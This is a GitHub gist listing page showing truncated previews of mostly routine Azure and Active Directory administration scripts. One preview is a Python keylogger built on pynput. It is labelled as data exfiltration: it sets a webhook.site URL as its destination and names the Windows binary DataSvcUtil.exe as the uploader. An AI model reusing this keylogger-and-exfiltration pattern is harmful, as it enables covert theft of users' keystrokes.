Skip to content

Instantly share code, notes, and snippets.

View austinsonger's full-sized avatar
🙃
Localhost

Austin Songer, CISSP austinsonger

🙃
Localhost
View GitHub Profile

PKI for busy people

Public-key infrastructure (PKI) is an umbrella term for everything that has to do with keys and certificates.

This is a quick overview of the important stuff.

Public-key cryptography

Public-key cryptography involves a key pair: a public key and a private key. Each entity has their own. The public key can be shared around, the private key is secret.

@teixeira0xfffff
teixeira0xfffff / DataSvcUtil.py
Created December 2, 2020 01:54
Data exfil with DataSvcUtil.exe
# From: https://github.com/moses-palmer/pynput
from pynput.keyboard import Key, Listener
import os
import sys
import subprocess
URL = 'https://webhook.site/xxxxxx-xxxxx-xxxx-xxxxx-xxxxxxx'
uploader = "C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe"
content = ""
def on_press(key):
global content
@justinyoo
justinyoo / 01-get-inbound-ip-address.ps1
Last active October 26, 2020 13:02
Updating Azure DNS and SSL Certificate on Azure Functions via Github Actions
$AppResourceGroupName = "[RESOURCE_GROUP_NAME_FOR_AZURE_FUNCTION_APP]"
AppName = "[NAME_OF_AZURE_FUNCTION_APP]"
$app = Get-AzResource `
-ResourceType Microsoft.Web/sites `
-ResourceGroupName $AppResourceGroupName `
-ResourceName $AppName
$newIp4Address = $app.Properties.inboundIpAddress
@JDSileo
JDSileo / AD-TeamsSync.ps1
Created October 9, 2020 19:05
This script will sync an AD Group with a Microsoft Team.
##This script will sync an AD Group with a Microsoft Team. (Tested on Windows Server 2019)
##This script should be run in a user context that has read access to a Windows Active Directory domain.
##To make it easier I have it run every 30 minutes starting about 5 minutes after an expected ADSync.
##This works with Microsoft Business Basic subscriptions. P1 licensing is not required.
##MSTeams Powershell Module: https://docs.microsoft.com/en-us/microsoftteams/teams-powershell-overview
##AADSync: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sync-whatis
$Disabled = Get-ADUser -Filter {Enabled -eq $false};#Get List of Disabled Users.
$Teams_Admin_User = "<Admin Username Here>";#Teams Administrator Username.
$Teams_Admin_Password = "<Admin Password Here>";#Teams Administrator Password.
@pkhabazi
pkhabazi / AlertRules.tests.ps1
Last active October 25, 2020 05:42
Deploying and Managing Azure Sentinel – Ninja style
Describe "Azure Sentinel AlertRules Tests" {
$TestFiles = Get-ChildItem -Path .\SettingFiles\AlertRules.json -File -Recurse | ForEach-Object -Process {
@{
File = $_.FullName
ConvertedJson = (Get-Content -Path $_.FullName | ConvertFrom-Json)
Path = $_.DirectoryName
Name = $_.Name
}
}
<#
CSV FORMAT
+------------+--------------+--------------+
| Group Name | Group Owner1 | Group Owner2 |
+------------+--------------+--------------+
| group1 | user@domain | user@domain |
| group2 | user@domain | user@domain |
| group3 | user@domain | user@domain |
@rdc-112
rdc-112 / UpdateAzureFirewallRule.ps1
Created September 22, 2020 21:19
Update SQL Server Firewall Rule Using Powershell
param
([Parameter(Mandatory)][string]$resourceGroupName,
[Parameter(Mandatory)][string]$sqlServerName,
[Parameter(Mandatory)][string]$ruleName)
<#
TODO:
- Add option to create firewall rule if it doesn't exist already
- Wrap wxternal method calls in try/catch blocks
- Add option to use PC name as rule name. Reduces the number of params that need to be provided
- Improve log messages
@PlagueHO
PlagueHO / Get-AzureArcOnboardingScript.ps1
Last active October 25, 2020 05:45
PowerShell Function to create a Service Principal and return the script to onboard a machine to Azure Arc
[CmdletBinding()]
param (
[Parameter()]
[System.String]
$ServicePrincipalName = 'AzureArcMachineOnboarding',
[Parameter()]
[ValidateSet('Linux','Windows')]
[System.String]
$OperatingSystem = 'Linux',
@ppartarr
ppartarr / rmGroups.ps1
Created July 15, 2020 21:25
Remove all Azure AD groups starting with a given prefix
# This script requires :
# 1. the Azure AD Powershell module: Install-Module -Name AzureADPreview
# 2. an authenticated user: Connect-AzureAD
$uid = ""
$groupPrefix = "GroupNamePrefix"
$groups = Get-AzureADMSGroup
$groups | Select-Object -Skip 3 | Where-Object {
$_ -match '(\d+)\s+(\d+)\s+(.*?)\s+([a-z]+(?:-[a-z0-9]+){2,})\s+(.*)'
@ppartarr
ppartarr / mkGroups.ps1
Created July 15, 2020 21:24
Create Azure AD groups and add a given user
# This script requires :
# 1. the Azure AD Powershell module: Install-Module -Name AzureADPreview
# 2. an authenticated user: Connect-AzureAD
$uid = ""
$numberOfGroupsToCreate = 200;
for($i = 0; $i -lt $numberOfGroupsToCreate; $i++)
{
$displayName = "GroupNamePrefix" + $i